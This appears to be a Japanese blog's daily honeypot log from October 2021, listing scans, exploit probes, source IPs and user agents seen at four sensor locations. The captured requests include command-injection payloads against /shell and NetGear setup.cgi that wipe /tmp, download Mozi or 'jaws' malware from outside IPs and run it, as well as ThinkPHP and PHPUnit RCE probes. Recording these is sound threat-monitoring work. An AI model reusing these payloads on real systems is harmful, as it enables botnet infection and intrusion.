コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2021/10/04 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2021/10/04分です。

特徴
共通

GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
Linksys RE6500の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
gbrmssによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為
WordPress Pluginへのスキャン行為

Location：JP

FCKEditorの脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
ZmEuによるスキャン行為
phpMyAdminへのスキャン行為
WordPressへのスキャン行為
Gh0stRATのような動き
を確認しました。

Location：US

NetGear製品の脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Anarchy99によるスキャン行為
phpMyAdminへのスキャン行為
を確認しました。

Location：UK

Spring Bootの脆弱性を狙うアクセス
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス
Gh0stRATのような動き
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http[:]//125[.]47[.]49[.]208:52595/Mozi.a;
chmod 777 Mozi[.]a;
/tmp/Mozi.a jaws
Location：SG

Anarchy99によるスキャン行為
WordPressへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 193[.]23[.]161[.]113/jaws;
sh /tmp/jaws
他
アクセス数推移

JP：総アクセス数：120 (前日比：-215)
US：総アクセス数：209 (前日比：+64)
UK：総アクセス数：168 (前日比：+106)
SG：総アクセス数：68 (前日比：-6)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
2 3.87.158.72 United States
1 3.94.100.30 United States
19 34.125.222.179 United States
7 39.104.87.207 China
1 40.71.19.205 United States
22 45.146.164.110 Russia
9 52.91.244.110 United States
1 54.176.197.121 United States
1 64.227.0.61 United States
1 64.227.7.102 United States
1 64.227.13.201 United States
1 66.240.205.34 United States
1 77.247.108.81 Belize
1 82.117.110.230 Sweden
7 107.189.6.44 United States
2 107.189.31.252 United States
1 117.207.234.122 India
1 134.122.14.226 United States
1 135.125.246.110 France
7 135.125.246.189 France
5 137.184.109.194 United States
2 147.182.229.138 United States
1 149.129.50.37 Singapore
1 165.232.190.133 United States
2 167.71.176.251 United States
1 178.128.245.196 United States
1 180.149.125.175 Mongolia
1 184.169.247.144 United States
1 192.241.198.224 United States
1 195.78.54.61 Lithuania
1 198.12.85.85 United States
1 209.17.96.154 United States
1 209.141.36.53 United States
1 209.141.51.176 United States
3 209.141.56.212 United States
7 211.40.129.246 South Korea
2 212.192.246.146 Czechia
1 222.186.19.235 China

UserAgent一覧

件数 UserAgent
5 -
4 Go-http-client/1.1
1 Mozilla/4.76 [en] (X11; U; FreeBSD 4.4-STABLE i386)
7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
22 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36
1 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU; AppleWebKit/534.16; KHTML; like Gecko; Chrome/10.0.648.11; Safari/534.16)
33 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
12 Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0
9 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
6 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1 Mozilla/5.0 zgrab/0.x
2 ZmEu
1 gbrmss/7.29.0
1 python-requests/2.18.4
11 python-requests/2.26.0

リクエスト内容一覧

件数 Method Request Protocol
1 Gh0st\xad
1 \x16\x03\x01
1 \x16\x03\x01\x01\xfa\x01
38 GET /.env HTTP/1.1
2 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
2 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=__HelloThinkPHP HTTP/1.1
3 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /admin/includes/general.js HTTP/1.1
1 GET /admin/view/javascript/common.js HTTP/1.1
1 GET /administrator/ HTTP/1.1
1 GET /administrator/help/en-GB/toc.json HTTP/1.1
1 GET /administrator/language/en-GB/install.xml HTTP/1.1
1 GET /blog/wp-admin/setup-config.php?step=0 HTTP/1.1
1 GET /c/ HTTP/1.1
6 GET /config/getuser?index=0 HTTP/1.1
2 GET /console/ HTTP/1.1
1 GET /fckeditor/editor/filemanager/connectors/php/upload.php?Type=Media HTTP/1.1
1 GET /images/editor/separator.gif HTTP/1.1
1 GET /index.php HTTP/1.1
2 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /jenkins/login HTTP/1.1
1 GET /js/header-rollup-554.js HTTP/1.1
1 GET /login HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /misc/ajax.js HTTP/1.1
1 GET /phpMyAdmin/scripts/setup.php HTTP/1.1
1 GET /plugins/system/debug/debug.xml HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//117[.]207[.]234[.]122:57096/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /site/wp-admin/setup-config.php?step=0 HTTP/1.1
2 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /test/wp-admin/setup-config.php?step=0 HTTP/1.1
1 GET /vendor/phpunit/phpunit/build.xml HTTP/1.1
4 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1
1 GET /wordpress/wp-admin/setup-config.php?step=0 HTTP/1.1
1 GET /wp-admin/setup-config.php?step=0 HTTP/1.1
2 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET /wp-includes/js/jquery/jquery.js HTTP/1.1
1 GET /wp-login.php HTTP/1.1
1 GET /wp/wp-admin/setup-config.php?step=0 HTTP/1.1
1 GET http[:]//fuwu[.]sogou[.]com/404/index.html HTTP/1.1
4 GET http[:]//wall[.]angelsword[.]cc/lixuan.php HTTP/1.1
1 GET http[:]//www[.]proxylists[.]net/proxyjudge.php HTTP/1.1
1 OPTIONS / HTTP/1.1
2 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /_ignition/execute-solution HTTP/1.1
2 POST /api/jsonws/invoke HTTP/1.1
9 POST /boaform/admin/formLogin HTTP/1.1
1 POST /goform/websLogin HTTP/1.1
3 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
133 12.20.78.3 United States
1 13.82.110.190 United States
1 20.102.44.118 United States
1 23.129.64.250 United States
4 45.55.57.125 United States
1 45.95.147.26 Netherlands
11 45.146.164.110 Russia
1 45.201.206.80 Cambodia
2 46.101.0.87 United States
1 58.248.112.117 China
1 64.227.0.61 United States
1 77.247.108.81 Belize
4 82.221.105.6 Iceland
6 107.189.6.44 United States
1 107.189.31.252 United States
3 135.125.217.54 France
1 143.198.39.111 United States
1 143.198.57.6 United States
1 147.182.246.58 United States
1 149.129.50.37 Singapore
1 152.165.210.44 Japan
1 159.65.30.229 United States
2 159.89.122.2 United States
1 162.62.117.51 Singapore
1 172.104.138.223 United States
1 178.128.127.191 United States
1 180.149.125.175 Mongolia
1 192.241.198.160 United States
1 192.241.200.124 United States
1 192.241.210.75 United States
1 198.12.85.85 United States
1 209.17.96.186 United States
1 209.141.51.176 United States
5 209.141.56.212 United States
10 222.77.181.28 China
3 222.186.19.235 China
1 222.247.120.161 China

UserAgent一覧

件数 UserAgent
13 -
1 Anarchy99
9 Go-http-client/1.1
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
132 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
9 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
7 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
7 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
7 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1 Mozilla/5.0 (compatible) GM RSS Panel X
1 Mozilla/5.0 (compatible; Baiduspider/2.0; +http[:]//www[.]baidu[.]com/search/spider.html)
3 Mozilla/5.0 zgrab/0.x
1 gbrmss/7.29.0

リクエスト内容一覧

件数 Method Request Protocol
1 -
3 \x16\x03\x01
1 \x16\x03\x01\x01\xfb\x01
10 GET /.env HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /2phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /MyAdmin/index.php?lang=en HTTP/1.1
1 GET /PMA2011/index.php?lang=en HTTP/1.1
1 GET /PMA2012/index.php?lang=en HTTP/1.1
1 GET /PMA2014/index.php?lang=en HTTP/1.1
1 GET /PMA2015/index.php?lang=en HTTP/1.1
2 GET /PMA2017/index.php?lang=en HTTP/1.1
3 GET /PMA2018/index.php?lang=en HTTP/1.1
1 GET /PMA2019/index.php?lang=en HTTP/1.1
1 GET /TP/html/public/index.php HTTP/1.1
1 GET /TP/index.php HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /_phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /actuator/health HTTP/1.1
2 GET /admin/db/index.php?lang=en HTTP/1.1
1 GET /admin/index.php?lang=en HTTP/1.1
1 GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1
1 GET /admin/sysadmin/index.php?lang=en HTTP/1.1
3 GET /admin/web/index.php?lang=en HTTP/1.1
1 GET /administrator/PMA/index.php?lang=en HTTP/1.1
3 GET /administrator/admin/index.php?lang=en HTTP/1.1
1 GET /administrator/phpMyAdmin/index.php?lang=en HTTP/1.1
1 GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1
2 GET /administrator/pma/index.php?lang=en HTTP/1.1
1 GET /administrator/web/index.php?lang=en HTTP/1.1
1 GET /c/ HTTP/1.1
7 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /db/db-admin/index.php?lang=en HTTP/1.1
1 GET /db/dbadmin/index.php?lang=en HTTP/1.1
1 GET /db/index.php?lang=en HTTP/1.1
2 GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1
1 GET /db/phpMyAdmin3/index.php?lang=en HTTP/1.1
2 GET /db/phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1
3 GET /db/webadmin/index.php?lang=en HTTP/1.1
1 GET /db/webdb/index.php?lang=en HTTP/1.1
1 GET /db/websql/index.php?lang=en HTTP/1.1
1 GET /elrekt.php HTTP/1.1
3 GET /favicon.ico HTTP/1.1
1 GET /fuN3 HTTP/1.0
1 GET /html/public/index.php HTTP/1.1
1 GET /hudson HTTP/1.1
2 GET /index.php HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 HTTP/1.1
1 GET /manager/text/list HTTP/1.1
2 GET /myadmin/index.php?lang=en HTTP/1.1
2 GET /mysql-admin/index.php?lang=en HTTP/1.1
1 GET /mysql/admin/index.php?lang=en HTTP/1.1
1 GET /mysql/dbadmin/index.php?lang=en HTTP/1.1
2 GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1
3 GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1
1 GET /mysql/web/index.php?lang=en HTTP/1.1
1 GET /php-my-admin/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-4.9.7-english/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-4.9.7/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-5.1.0-english/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin-5.1.0/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin-5.1.1-english/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin1/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin2/index.php?lang=en HTTP/1.1
2 GET /phpMyAdmin4/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin5/index.php?lang=en HTTP/1.1
1 GET /phpMyAdmin_/index.php?lang=en HTTP/1.1
2 GET /phpMyadmin/index.php?lang=en HTTP/1.1
1 GET /phpmy-admin/index.php?lang=en HTTP/1.1
2 GET /phpmy/index.php?lang=en HTTP/1.1
3 GET /phpmyAdmin/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin1/index.php?lang=en HTTP/1.1
3 GET /phpmyadmin2/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2012/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2013/index.php?lang=en HTTP/1.1
3 GET /phpmyadmin2014/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2016/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2019/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin2021/index.php?lang=en HTTP/1.1
3 GET /phpmyadmin3/index.php?lang=en HTTP/1.1
1 GET /phpmyadmin4/index.php?lang=en HTTP/1.1
1 GET /phppma/index.php?lang=en HTTP/1.1
2 GET /pma/index.php?lang=en HTTP/1.1
1 GET /pma2012/index.php?lang=en HTTP/1.1
4 GET /pma2013/index.php?lang=en HTTP/1.1
1 GET /pma2014/index.php?lang=en HTTP/1.1
1 GET /pma2015/index.php?lang=en HTTP/1.1
1 GET /pma2016/index.php?lang=en HTTP/1.1
1 GET /pma2017/index.php?lang=en HTTP/1.1
2 GET /pma2018/index.php?lang=en HTTP/1.1
2 GET /pma2020/index.php?lang=en HTTP/1.1
2 GET /program/index.php?lang=en HTTP/1.1
1 GET /public/index.php HTTP/1.1
2 GET /robots.txt HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//58[.]248[.]112[.]117:37057/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
2 GET /sitemap.xml HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
2 GET /sql/myadmin/index.php?lang=en HTTP/1.1
1 GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1
2 GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1
1 GET /sql/phpmyadmin3/index.php?lang=en HTTP/1.1
1 GET /sql/phpmyadmin5/index.php?lang=en HTTP/1.1
2 GET /sql/sqladmin/index.php?lang=en HTTP/1.1
1 GET /sql/sqlweb/index.php?lang=en HTTP/1.1
1 GET /sql/webadmin/index.php?lang=en HTTP/1.1
1 GET /sql/webdb/index.php?lang=en HTTP/1.1
2 GET /sqlmanager/index.php?lang=en HTTP/1.1
1 GET /thinkphp/html/public/index.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
2 GET http[:]//fuwu[.]sogou[.]com/404/index.html HTTP/1.1
5 GET http[:]//wall[.]angelsword[.]cc/lixuan.php HTTP/1.1
1 GET http[:]//www[.]proxylists[.]net/proxyjudge.php HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
1 OPTIONS / RTSP/1.0
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /api/jsonws/invoke HTTP/1.1
7 POST /boaform/admin/formLogin HTTP/1.1
1 POST /goform/websLogin HTTP/1.1
1 POST /index.php?s=captcha HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
22 45.146.164.110 Russia
3 59.108.78.99 China
1 66.240.205.34 United States
2 68.183.205.29 United States
1 77.247.108.81 Belize
7 107.189.6.44 United States
3 107.189.31.252 United States
1 125.46.184.70 China
1 125.47.49.208 China
1 134.209.159.238 United States
1 147.182.246.41 United States
1 164.90.209.10 United States
2 167.99.156.62 United States
101 176.56.141.214 Switzerland
1 180.149.125.175 Mongolia
2 183.136.225.9 China
1 192.241.199.122 United States
1 192.241.200.87 United States
1 192.241.201.125 United States
1 195.78.54.61 Lithuania
2 198.12.85.85 United States
1 209.17.96.18 United States
1 209.141.51.176 United States
5 209.141.56.212 United States
2 209.141.62.185 United States
3 222.186.19.235 China

UserAgent一覧

件数 UserAgent
7 -
4 Go-http-client/1.1
1 Hello, world
101 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
22 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36
2 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
8 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
12 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
3 Mozilla/5.0 zgrab/0.x
1 User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705
1 gbrmss/7.29.0
1 python-requests/2.18.4

リクエスト内容一覧

件数 Method Request Protocol
1 Gh0st\xad
4 \x16\x03\x01
1 \x16\x03\x01\x01\xfc\x01
1 GET /.env HTTP/1.1
2 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
2 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
3 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /c/ HTTP/1.1
12 GET /config/getuser?index=0 HTTP/1.1
2 GET /console/ HTTP/1.1
2 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
2 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /manager/html HTTP/1.1
101 GET /phpmyadmin/ HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//125[.]47[.]49[.]208:52595/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
2 GET /solr/admin/info/system?wt=json HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
2 GET http[:]//fuwu[.]sogou[.]com/404/index.html HTTP/1.1
4 GET http[:]//wall[.]angelsword[.]cc/lixuan.php HTTP/1.1
1 OPTIONS / HTTP/1.1
2 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
2 POST /api/jsonws/invoke HTTP/1.1
8 POST /boaform/admin/formLogin HTTP/1.1
1 POST /goform/websLogin HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 4.17.224.133 United States
7 35.244.34.211 United States
1 40.71.19.205 United States
11 45.146.164.110 Russia
1 52.165.47.253 United States
1 54.200.127.164 United States
1 59.36.168.250 China
3 60.165.34.69 China
1 77.247.108.81 Belize
1 91.241.19.106 Russia
2 107.189.6.44 United States
1 107.189.31.252 United States
7 116.196.117.213 China
1 120.85.209.121 China
1 134.119.189.158 Germany
1 134.122.14.226 United States
3 135.125.217.54 France
1 143.198.163.144 United States
1 147.182.246.127 United States
1 156.211.31.240 Egypt
3 163.172.168.251 United Kingdom
1 178.128.245.196 United States
1 180.149.125.175 Mongolia
1 185.220.101.53 Germany
1 192.241.199.130 United States
1 192.241.208.242 United States
1 195.78.54.61 Lithuania
3 198.12.85.85 United States
1 199.19.225.172 United States
1 209.141.36.53 United States
1 209.141.51.176 United States
4 209.141.56.212 United States
2 222.186.19.235 China

UserAgent一覧

件数 UserAgent
6 -
2 Anarchy99
1 Hello, world
7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
6 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36
1 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.16 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.16
1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.168.0 Safari/530.1
10 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
4 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
9 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1 Mozilla/5.0 (compatible; Baiduspider/2.0; +http[:]//www[.]baidu[.]com/search/spider.html)
2 Mozilla/5.0 zgrab/0.x
1 User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705
1 gbrmss/7.29.0
1 python-requests/2.18.4

リクエスト内容一覧

件数 Method Request Protocol
1 \x03
2 \x16\x03\x01
1 CONNECT www[.]bing[.]com:443 HTTP/1.1
15 GET /.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=__HelloThinkPHP HTTP/1.1
2 GET /_ignition/execute-solution HTTP/1.1
1 GET /c/ HTTP/1.1
9 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /jenkins/login HTTP/1.1
1 GET /login HTTP/1.1
2 GET /manager/html HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+193[.]23[.]161[.]113/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /wp-content/ HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET /wp-login.php HTTP/1.1
2 GET http[:]//fuwu[.]sogou[.]com/404/index.html HTTP/1.1
1 GET http[:]//www[.]bing[.]com/ HTTP/1.1
1 OPTIONS / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /_ignition/execute-solution HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
4 POST /boaform/admin/formLogin HTTP/1.1
1 POST /goform/websLogin HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST http[:]//maryblack[.]xyz/fe770f516cf9f97533711e76a9477f63a7477d5152ba22ab0d81fa93a95c16008cd4d99012295c44b7f113033cb441138216b34cc6763a1be0917c885c79972189d25ae8386857996757e51cab1342adcfdbc9868ed3d861e1eeaa2f3567475e HTTP/1.1